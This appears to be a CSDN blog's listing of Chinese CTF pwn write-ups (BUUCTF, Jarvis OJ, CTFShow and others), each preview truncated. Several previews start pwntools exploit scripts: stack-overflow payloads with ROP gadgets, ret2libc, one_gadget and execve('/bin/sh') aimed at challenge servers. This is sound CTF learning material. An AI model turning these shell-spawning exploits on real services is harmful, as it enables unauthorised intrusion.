![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
Pwn
_Trick_
这个作者很懒,什么都没留下…
展开
-
Jarvis
level5exp:from pwn import *#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']#p = process('./level3_x64')p = remote('pwn2.jarvisoj.com','9884')#p = remote('127.0.0.1',12345)libc=ELF('./libc-2.19.so')elf=ELF('./level3_x64')context.log_level=原创 2020-12-18 17:17:27 · 160 阅读 · 1 评论 -
rop
[HarekazeCTF2019]baby_ropidamain函数system地址并且发现有/bin/shexp:from pwn import *p=remote('node3.buuoj.cn',29598)binsh_addr = 0x0000000000601048sys_addr = 0x0000000000400490pop_rdi = 0x400683payload = 'a'*(0x10+8) + p64(pop_rdi) + p64(binsh_addr) +原创 2020-11-28 15:17:36 · 157 阅读 · 0 评论 -
one_gadget
[BJDCTF 2nd]one_gadgetida看main函数再看init函数会输出一个printf的地址使用one_gadget,计算一下libc的基址buuctf给了远程的libc文件,下载下来one_gadget [libcfilename]exp:from pwn import *context.log_level='debug'p=remote('node3.buuoj.cn',25812)libc=ELF('./libc-2.29.so')p.recvunt原创 2020-11-27 17:54:49 · 547 阅读 · 0 评论 -
system
jarvisoj_level232bit程序主函数跟进可以利用read函数控制system函数getshell程序中可以找到/bin/sh字符串传参的时候需要逆着传exp:from pwn import*#p = remote('42.192.4.123',8007)p = remote('node3.buuoj.cn',25418)bin_addr = 0x0804A024sys_addr = 0x08048320payload = 'a'* (0x88+4) + p32(s原创 2020-11-27 16:19:00 · 107 阅读 · 0 评论 -
not_the_same_3dsctf_2016
IDAmain函数发现栈溢出长度2d在函数列表找到 get_secret()函数知道flag被存在了bss段上的fl4g中一开始的想法是用main函数的printf把flag输出,但发现好像行不通后来在列表中找到了write函数函数地址可以用elf.sym[‘write’]表示,也可以直接用test段的地址,都一样exp:from pwn import *context.log_level='debug'p = remote('node3.buuoj.cn',29167)e原创 2020-11-26 13:58:13 · 814 阅读 · 2 评论 -
get_started_3dsctf_2016
先看ida发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag可以利用main中的栈溢出进行传参32位程序payload = offset + 函数地址 + 返回地址 + 参数返回地址我们利用程序中的exit:exp:from pwn import *p = remote('node3.buuoj.cn',29726)context.log_level = 'debug'sleep(0.1)get_flag = 0x080489A0exit_addr = 0x原创 2020-11-24 23:51:08 · 177 阅读 · 0 评论 -
整形溢出
[BJDCTF 2nd]r2t3来自buuctf先看idabuf缓冲区大小为408h,而read读取大小为400h,比buf要小,所以不能进行简单的缓冲区栈溢出。再看name_check函数,v3是int8类型的变量,1111 1111 = 0xFF = 255。当0xFF +1的时侯,变量发生整形溢出,0x100 = 256 此时v3的数值为零(0000 0000),但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作变成 1 0000 0000。同时还要满足3< v3原创 2020-11-23 23:57:07 · 484 阅读 · 0 评论 -
Pwn_buuctf_ciscn_2019_c_1
libc64ida查看在main函数没有发现明显漏洞跟进encrypt()函数发现了gets()和puts()函数,可以利用gets的栈溢出泄漏出puts的地址,从而找到libc版本信息getshellexp:from pwn import *from LibcSearcher import *p= remote('node3.buuoj.cn',25412)#p= remote('127.0.0.1',12345)#p = process('./ciscn_2019_c_1')#原创 2020-11-20 15:02:14 · 438 阅读 · 0 评论 -
libc_demo
32bitfrom pwn import *context.log_level = 'debug'elf = ELF('./pwn') #产生一个对象p = remote('xxx.xxx.xxx.xxx',xxxx)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main'] #elf.symbols['a_function'] 找到 a_function 的地址pa原创 2020-11-14 15:59:14 · 118 阅读 · 0 评论 -
checksec
checksecchecksec到底是用来干什么的?它是用来检查可执行文件属性,例如PIE, RELRO, PaX, Canaries, ASLR, Fortify Source等等属性。我们在ubuntu下使用它时,会显示有5行信息:1.Arch从这行信息可以知道程序是32bit还是64bit的2.RELRO3.Stack显示Stack:No canary found则表示可以利用栈溢出编译时控制是否开启栈保护以及程度:gcc -fno-stack-protector -o test原创 2020-11-10 11:59:30 · 2800 阅读 · 0 评论 -
湖湘杯hxb_pwn
湖湘杯hxb_pwnpwn_printfpwn_libcida16次循环下面if判断v12<=0x20所以写for i in range(16): n.sendline("32")跟进if下面的函数这里变量的栈是空栈0h,所以offset只需要64bit程序的8个就行。再然后a * a1,所以传参需要double 0x20,也就是0x40ROPgadget --binary pwn_printf找到pop_rdi_ret的地址复习一下libc64_payload公式原创 2020-11-08 20:27:14 · 163 阅读 · 0 评论 -
Pwn_0xGame_02
Pwn_0xGame_021.Pwn题滞销,帮帮我好吗?syscall1.Pwn题滞销,帮帮我好吗?syscallIDA打开发现是个syscall的题目直接去看这个函数的汇编根据师傅们所说,我们需要让rax存入59,让syscall去调用execve函数 (ret2syscall?)syscall_64 GitHub查询之后要构造出来 execve("/bin/sh",0,0) 拿取权限找"/bin/sh"字符串方法一:在程序中有,找到它从’[‘数起到斜杠前面的空格’ ',再原创 2020-11-08 20:27:59 · 439 阅读 · 0 评论 -
Pwn_0xGame_01
Pwn_0xGame1.欢迎来到0xGame平台2.帮我取一个题目名称ret2text3.easy_stack4.该怎么起名呢shellcode5.variable_coverage变量覆盖1.欢迎来到0xGame平台nc出flag2.帮我取一个题目名称ret2text打开IDA分析main函数跟进第二个函数s栈大小为20h=32函数最后return read了s所以很好写了因为是64位程序,后面再加上8个字符payload = 'a' * (0x20+8)Shift+F1原创 2020-11-08 20:28:04 · 548 阅读 · 0 评论 -
Pwn_CTFShow_02
Pwn_CTFShow_0101栈溢出之ret2text01栈溢出之ret2text很简单的一个栈溢出直接IDA分析从main函数跟进到welcome函数get() 很明显的溢出payload = 'a'*(0x80+8)因为是64位的,所以后面要加上8Shift+F12发现/bin/sh 果然够简单的。。。双击进去再双击找到地址exp:from pwn import *p=remote('111.231.70.44',28072)payload='a'*(0原创 2020-11-08 20:27:38 · 618 阅读 · 0 评论 -
Pwn_CTFShow_01
Pwn_CTFShow1.PWN签到题2.pwn021.PWN签到题直接 nc出flag,白给2.pwn02file 一下32bitIDA分析发现 bin/sh 地址可以用 cyclic生成字符串,然后gdb run一下,再计算出偏移cyclic -l 0x......exp:from pwn import *#p=process('')p=remote('111.231.70.44',28042)paylode='a'*13 + p32(0x8048518)原创 2020-11-08 20:27:32 · 806 阅读 · 0 评论 -
Pwn_BUUCTF
Pwn_BUUCTF1.test_your_nc2.ripIDA查看写脚本1.test_your_nc直接 nccat flag直接出flag,白给题2.ripIDA查看拉文件进 IDA看main:直接进 gets 找 s发现偏移:0xF + 8写exppaylode=a*(0xF+8)回到 IDA 看到 “/bin/sh” 的地址 :40118A写脚本完整expfrom pwn import *p=remote('node3.buuoj原创 2020-11-08 20:27:47 · 693 阅读 · 0 评论